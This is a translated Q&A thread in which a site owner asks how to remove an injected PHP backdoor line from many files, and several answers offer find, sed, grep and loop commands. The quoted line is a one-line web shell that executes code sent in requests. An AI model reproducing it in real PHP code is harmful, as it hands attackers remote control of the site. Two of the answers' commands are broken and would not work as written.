Мой сайт заражен вирусом. Этот вирус добавил эту строку в несколько файлов на моем сайте. Моя идея — удалить эту строку текста с помощью уникальной команды из терминала.
Допустим, у меня есть папка «my-folder», а внутри нее мои файлы: «file-1.php», «file-2.php» и так далее.
И, допустим, заражено несколько файлов.
Есть ли команда, чтобы найти и удалить эту строку кода в нескольких файлах?однажды?
Текст для удаления: extract($_REQUEST) && @assert(stripslashes($accept)) && exit;
Я нашел это, но это работает только с одним файлом:
$ sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' my-file.php
Я могу сделать это?
решение1
Вы можете объединить
sed
сfind
, чтобы сделать его рекурсивным. Что-то вроде этого:find . -type f -name "*php" -exec sed -i.bak 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' {} \+
Обратите внимание, что он пройдет по текущему дереву каталогов и применит sed к каждому существующему файлу "*php". Он также создаст файл резервной копии .bak для каждого измененного файла (чтобы вы могли восстановить его позже, на всякий случай). Если вам не нужна резервная копия, замените
-i.bak
просто на-i
. В противном случае вы можете удалить резервные копии позже (после того, как убедитесь, что все в порядке) чем-то вродеfind . -name "*php.bak" -delete
.Этот шаг не поможет вам исправить все прямо сейчас, но он определенно может сэкономить вам время в будущем: сохраните свой каталог со скриптами в
git
(в идеале это должно быть полное решение CI/CD, но вы можете начать просто с git), чтобы вы могли легко откатить / перенести изменения, которые были применены к вашим файлам.
решение2
Найдите файлы, содержащие вредоносную строку, и отредактируйте их с помощью sed
:
ag -lF --php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
Я часто полагаюсь наag
для поиска только php
файлов с --php
флагом. Если вы предпочитаете, вы можете сделать то же самое с помощью grep -r -i --include \*.php
:
grep -rilF --include \*.php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
решение3
В зависимости от вашей команды, я предлагаю вам использовать для этого цикл «for»:
for i in file-1.php file-2.php
do sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
done
также вы можете добавить любой файл, который вы хотите, в "for i in file-1.php file-2.php file-n.php
решение4
Вы можете использовать метод ниже, чтобы удалить строки в файле, которые содержат определенный шаблон.
Вы можете упомянуть файлы в цикле for
for i in file1 file2
do
sed -i '/Text to remove: extract($_REQUEST) && @assert(stripslashes($accept)) && exit/d' $i
done